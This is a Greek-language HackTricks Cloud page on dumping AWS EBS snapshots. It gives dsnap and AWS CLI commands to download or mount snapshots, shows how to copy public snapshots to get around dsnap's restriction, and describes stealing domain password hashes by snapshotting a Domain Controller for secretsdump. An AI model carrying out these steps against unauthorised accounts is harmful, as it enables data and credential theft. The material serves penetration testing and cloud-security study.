AWS - EBS Snapshot Dump
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Έλεγχος ενός snapshot τοπικά
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Σημείωση ότι το
dsnapδεν θα σας επιτρέψει να κατεβάσετε δημόσιες στιγμιότυπα. Για να παρακάμψετε αυτό, μπορείτε να κάνετε ένα αντίγραφο της στιγμιότυπα στον προσωπικό σας λογαριασμό και να το κατεβάσετε:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική, ελέγξτε την αρχική έρευνα στο https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Μπορείτε να το κάνετε αυτό με το Pacu χρησιμοποιώντας το module ebs__download_snapshots
Έλεγχος ενός snapshot στο AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Μάουντ το σε μια EC2 VM υπό τον έλεγχό σας (πρέπει να είναι στην ίδια περιοχή με την αντίγραφο του backup):
Βήμα 1: Ένας νέος όγκος της προτιμώμενης διάστασης και τύπου πρέπει να δημιουργηθεί πηγαίνοντας στο EC2 –> Όγκοι.
Για να μπορέσετε να εκτελέσετε αυτή την ενέργεια, ακολουθήστε αυτές τις εντολές:
- Δημιουργήστε έναν EBS όγκο για να τον συνδέσετε στην EC2 instance.
- Βεβαιωθείτε ότι ο EBS όγκος και η instance είναι στην ίδια ζώνη.
Βήμα 2: Η επιλογή “attach volume” πρέπει να επιλεγεί κάνοντας δεξί κλικ στον δημιουργηθέντα όγκο.
Βήμα 3: Η instance από το πλαίσιο κειμένου της instance πρέπει να επιλεγεί.
Για να μπορέσετε να εκτελέσετε αυτή την ενέργεια, χρησιμοποιήστε την παρακάτω εντολή:
- Συνδέστε τον EBS όγκο.
Βήμα 4: Συνδεθείτε στην EC2 instance και καταγράψτε τους διαθέσιμους δίσκους χρησιμοποιώντας την εντολή lsblk.
Βήμα 5: Ελέγξτε αν ο όγκος έχει δεδομένα χρησιμοποιώντας την εντολή sudo file -s /dev/xvdf.
Αν η έξοδος της παραπάνω εντολής δείχνει “/dev/xvdf: data”, σημαίνει ότι ο όγκος είναι κενός.
Βήμα 6: Μορφοποιήστε τον όγκο στο ext4 filesystem χρησιμοποιώντας την εντολή sudo mkfs -t ext4 /dev/xvdf. Εναλλακτικά, μπορείτε επίσης να χρησιμοποιήσετε τη μορφή xfs με την εντολή sudo mkfs -t xfs /dev/xvdf. Παρακαλώ σημειώστε ότι θα πρέπει να χρησιμοποιήσετε είτε ext4 είτε xfs.
Βήμα 7: Δημιουργήστε έναν κατάλογο της επιλογής σας για να μάουντ τον νέο ext4 όγκο. Για παράδειγμα, μπορείτε να χρησιμοποιήσετε το όνομα “newvolume”.
Για να μπορέσετε να εκτελέσετε αυτή την ενέργεια, χρησιμοποιήστε την εντολή sudo mkdir /newvolume.
Βήμα 8: Μάουντ τον όγκο στον κατάλογο “newvolume” χρησιμοποιώντας την εντολή sudo mount /dev/xvdf /newvolume/.
Βήμα 9: Αλλάξτε κατάλογο στον κατάλογο “newvolume” και ελέγξτε τον χώρο δίσκου για να επιβεβαιώσετε την μάουντ του όγκου.
Για να μπορέσετε να εκτελέσετε αυτή την ενέργεια, χρησιμοποιήστε τις παρακάτω εντολές:
- Αλλάξτε κατάλογο στο
/newvolume. - Ελέγξτε τον χώρο δίσκου χρησιμοποιώντας την εντολή
df -h .. Η έξοδος αυτής της εντολής θα πρέπει να δείχνει τον ελεύθερο χώρο στον κατάλογο “newvolume”.
Μπορείτε να το κάνετε αυτό με το Pacu χρησιμοποιώντας το module ebs__explore_snapshots.
Έλεγχος ενός snapshot στο AWS (χρησιμοποιώντας cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Οποιοσδήποτε χρήστης AWS που διαθέτει την άδεια EC2:CreateSnapshot μπορεί να κλέψει τους κατακερματισμούς όλων των χρηστών του τομέα δημιουργώντας ένα snapshot του Domain Controller, τοποθετώντας το σε μια παρουσία που ελέγχει και εξάγοντας το NTDS.dit και το SYSTEM αρχείο μητρώου για χρήση με το έργο secretsdump του Impacket.
Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να αυτοματοποιήσετε την επίθεση: https://github.com/Static-Flow/CloudCopy ή μπορείτε να χρησιμοποιήσετε μία από τις προηγούμενες τεχνικές μετά τη δημιουργία ενός snapshot.
References
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

